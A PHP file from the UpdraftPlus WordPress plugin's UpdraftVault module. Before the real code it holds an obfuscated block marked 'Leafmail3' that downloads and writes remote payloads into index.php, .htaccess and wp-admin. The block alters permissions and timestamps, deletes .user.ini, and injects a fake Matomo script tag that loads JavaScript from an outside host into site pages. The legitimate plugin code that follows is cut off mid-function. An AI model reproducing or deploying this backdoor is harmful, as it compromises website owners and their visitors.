<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
if (!defined('UPDRAFTPLUS_DIR')) die('No direct access allowed.');
updraft_try_include_file('methods/s3.php', 'require_once');
class UpdraftPlus_BackupModule_updraftvault extends UpdraftPlus_BackupModule_s3 {
private $vault_mothership = 'https://vault.updraftplus.com/plugin-info/';
private $vault_config;
/**
* Decides whether vault config should be printed or not
*
* @var Boolean
*/
private $vault_in_config_print;
protected $quota_transient_used = false;
protected $provider_can_use_aws_sdk = true;
protected $provider_has_regions = true;
/**
* Register backup-related hooks (filters and actions) that get called in the parent method for uploading backup archives
*
* @param Array $backup_array - a list of file names (basenames) (within UD's directory) to be uploaded
*
* @return Mixed - return (boolean)false to indicate failure, or anything else to have it passed back at the delete stage (most useful for a storage object).
*/
public function backup($backup_array) {
add_filter('updraft_updraftvault_storageclass', array($this, 'maybe_switch_to_ia_storage_class'));
return parent::backup($backup_array);
}
/**
* Determine whether to switch to IA S3 storage class rather than use the existing one (WordPress filter updraft_updraftvault_storageclass)
*
* @param String $class Suggested storage class
*
* @return String Filtered value
*/
public function maybe_switch_to_ia_storage_class($class) {
$files_schedule = UpdraftPlus_Options::get_updraft_option('updraft_interval');
$db_schedule = UpdraftPlus_Options::get_updraft_option('updraft_interval_database');
$retain_files = max(1, (int) UpdraftPlus_Options::get_updraft_option('updraft_retain'));
$retain_db = max(1, (int) UpdraftPlus_Options::get_updraft_option('updraft_retain_db'));
$schedules = wp_get_schedules();
// $schedules will not contain the variable indexed by key named 'manual', so if it's a manual backup then the code below won't do anything
switch ($this->current_upload_entity) { // 1296000 = 15 days in seconds
case 'databases':
if ('' !== $db_schedule && isset($schedules[$db_schedule]) && $schedules[$db_schedule]['interval'] * $retain_db > 1296000) $class = 'STANDARD_IA';
break;
case 'files':
if ('' !== $files_schedule && isset($schedules[$files_schedule]) && $schedules[$files_schedule]['interval'] * $retain_files > 1296000) $class = 'STANDARD_IA';
break;
}
return $class;
}
/**
* This function makes testing easier, rather than having to change the URLs in multiple places
*
* @param Boolean|string $which_page specifies which page to get the URL for
* @return String
*/
private function get_url($which_page = false) {
$base = defined('UPDRAFTPLUS_VAULT_SHOP_BASE') ? UPDRAFTPLUS_VAULT_SHOP_BASE : 'https://updraftplus.com/shop/';
switch ($which_page) {
case 'get_more_quota':
return apply_filters('updraftplus_com_link', $base.'product-category/updraftplus-vault/');
break;
case 'more_vault_info_faqs':
return apply_filters('updraftplus_com_link', 'https://updraftplus.com/support/updraftplus-vault-faqs/');
break;
case 'more_vault_info_landing':
return apply_filters('updraftplus_com_link', 'https://updraftplus.com/landing/vault');
break;
case 'vault_forgotten_credentials_links':
return apply_filters('updraftplus_com_link', 'https://updraftplus.com/my-account/lost-password/');
break;
default:
return apply_filters('updraftplus_com_link', $base);
break;
}
}
/**
* This method overrides the parent method and lists the supported features of this remote storage option.
*
* @return Array - an array of supported features (any features not mentioned are asuumed to not be supported)
*/
public function get_supported_features() {
// This options format is handled via only accessing options via $this->get_options()
return array('multi_options', 'config_templates', 'conditional_logic');
}
/**
* Retrieve default options for this remote storage module.
*
* @return Array - an array of options
*/
public function get_default_options() {
return array(
'token' => '',
'email' => '',
'quota' => -1
);
}
/**
* Retrieve specific options for this remote storage module
*
* @param Array $config an array of config options
* @return Array - an array of options
*/
protected function vault_set_config($config) {
$config['whoweare'] = 'UpdraftVault';
$config['whoweare_long'] = __('UpdraftVault', 'updraftplus');
$config['key'] = 'updraftvault';
$this->vault_config = $config;
}
/**
* Gets the UpdraftVault configuration and credentials
*
* @param Boolean $force_refresh - if set, and if relevant, don't use cached credentials, but get them afresh
*
* @return Array An array containing the Amazon S3 credentials (accesskey, secretkey, etc.)
* along with some configuration values.
*/
public function get_config($force_refresh = false) {
global $updraftplus;
if (!$force_refresh) {
// Have we already done this?
if (!empty($this->vault_config)) return $this->vault_config;
// Stored in the job?
if ($job_config = $this->jobdata_get('config', null, 'updraftvault_config')) {
if (!empty($job_config) && is_array($job_config)) {
$this->vault_config = $job_config;
return $job_config;
}
}
}
// Pass back empty settings, if nothing better can be found - this ensures that the error eventually is raised in the right place
$config = array('accesskey' => '', 'secretkey' => '', 'path' => '');
$config['whoweare'] = 'Updraft Vault';
$config['whoweare_long'] = __('Updraft Vault', 'updraftplus');
$config['key'] = 'updraftvault';
// Get the stored options
$opts = $this->get_options();
if (!is_array($opts) || empty($opts['token']) || empty($opts['email'])) {
// Not connected. Skip DB so that it doesn't show in the UI, which confuses people (e.g. when rescanning remote storage)
$this->log('this site has not been connected - check your settings', 'notice', false, true);
$config['error'] = array('message' => 'site_not_connected', 'values' => array());
$this->vault_config = $config;
$this->jobdata_set('config', $config);
return $config;
}
$site_id = $updraftplus->siteid();
$this->log("requesting access details (sid=$site_id, email=".$opts['email'].")");
// Request the credentials using our token
$post_body = array(
'e' => (string) $opts['email'],
'sid' => $site_id,
'token' => (string) $opts['token'],
'su' => base64_encode(home_url())
);
if (!empty($this->vault_in_config_print)) {
// In this case, all that the get_config() is being done for is to get the quota info. Send back the cached quota info instead (rather than have an HTTP trip every time the settings page is loaded). The config will get updated whenever there's a backup, or the user presses the link to update.
$getconfig = get_transient('udvault_last_config');
}
// Use SSL to prevent snooping
if (empty($getconfig) || !is_array($getconfig) || empty($getconfig['accesskey'])) {
$config_array = apply_filters('updraftplus_vault_config_add_headers', array('timeout' => 25, 'body' => $post_body));
$getconfig = wp_remote_post($this->vault_mothership.'/?udm_action=vault_getconfig', $config_array);
}
$details_retrieved = false;
$cache_in_job = false;
if (!is_wp_error($getconfig) && false != $getconfig && isset($getconfig['body'])) {
$response_code = wp_remote_retrieve_response_code($getconfig);
if ($response_code >= 200 && $response_code < 300) {
$response = json_decode(wp_remote_retrieve_body($getconfig), true);
if (is_array($response) && isset($response['user_messages']) && is_array($response['user_messages'])) {
foreach ($response['user_messages'] as $message) {
if (!is_array($message)) continue;
$msg_txt = $this->vault_translate_remote_message($message['message'], $message['code']);
